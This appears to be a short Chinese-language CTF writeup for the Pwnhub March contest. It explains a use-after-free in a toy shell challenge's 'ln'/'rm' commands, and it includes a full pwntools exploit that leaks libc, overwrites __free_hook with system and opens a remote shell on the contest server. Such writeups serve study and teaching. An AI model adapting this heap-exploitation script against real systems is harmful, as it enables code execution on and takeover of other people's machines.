「PWN」【Pwnhub 三月公开赛】 Pwn Writeup WP 复现
· 阅读需 2 分钟
sh_v1.1
题目实现了 shell 的一些功能,不过这些我实在没看懂逻辑,不过是混淆所以也无所谓。
在 ln src dest
这个命令中实现了软连接,不同于 cp
的是它直接把 pointer_arr
复制了过来,而不是 malloc
之后再 strncpy
拷贝,在 rm
原文件的时候也并没有同时删除这个软连接文件,导致可以实现 UAF
版本是 2.31,直接 Unsorted bin leak libc 后 gedit 打 freehook 即可
exp:
from pwn import *
context(log_level='DEBUG', arch='amd64', os='linux')
context.terminal = "wt.exe nt bash -c".split()
# sh = process(['./sh_v1.1'])
sh = remote("121.40.89.206", 34883)
# libc = ELF('/home/nova/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6')
for i in range(9):
sh.sendlineafter(b'>>>>', f'touch {i}'.encode())
sh.sendline(chr(i+ord('a'))*0x20)
sh.sendlineafter(b'>>>>', f'ln 1 9'.encode()) # 9 <--> 1
sh.sendlineafter(b'>>>>', f'ln 2 10'.encode()) # 10 <--> 2
for i in range(8,-1,-1):
sh.sendlineafter(b'>>>>', f'rm {i}'.encode())
sh.sendlineafter(b'>>>>', f'cat 9'.encode())
libc_base = u64(sh.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - 96 - 0x10 - 0x1ebb70
__free_hook = libc_base + 0x01eeb28
system_addr = libc_base + 0x055410
print("libc_base >>", hex(libc_base))
sh.sendlineafter(b'>>>>', f'gedit 10'.encode())
# gdb.attach(sh)
# pause(4)
sh.sendline(p64(__free_hook) + p64(0))
sh.sendlineafter(b'>>>>', f'touch 11'.encode())
sh.sendline(b'/bin/sh')
sh.sendlineafter(b'>>>>', f'touch 12'.encode())
sh.sendline(p64(system_addr))
sh.sendlineafter(b'>>>>', f'rm 11'.encode())
sh.interactive()
kheap
详见 内核题目的第一次尝试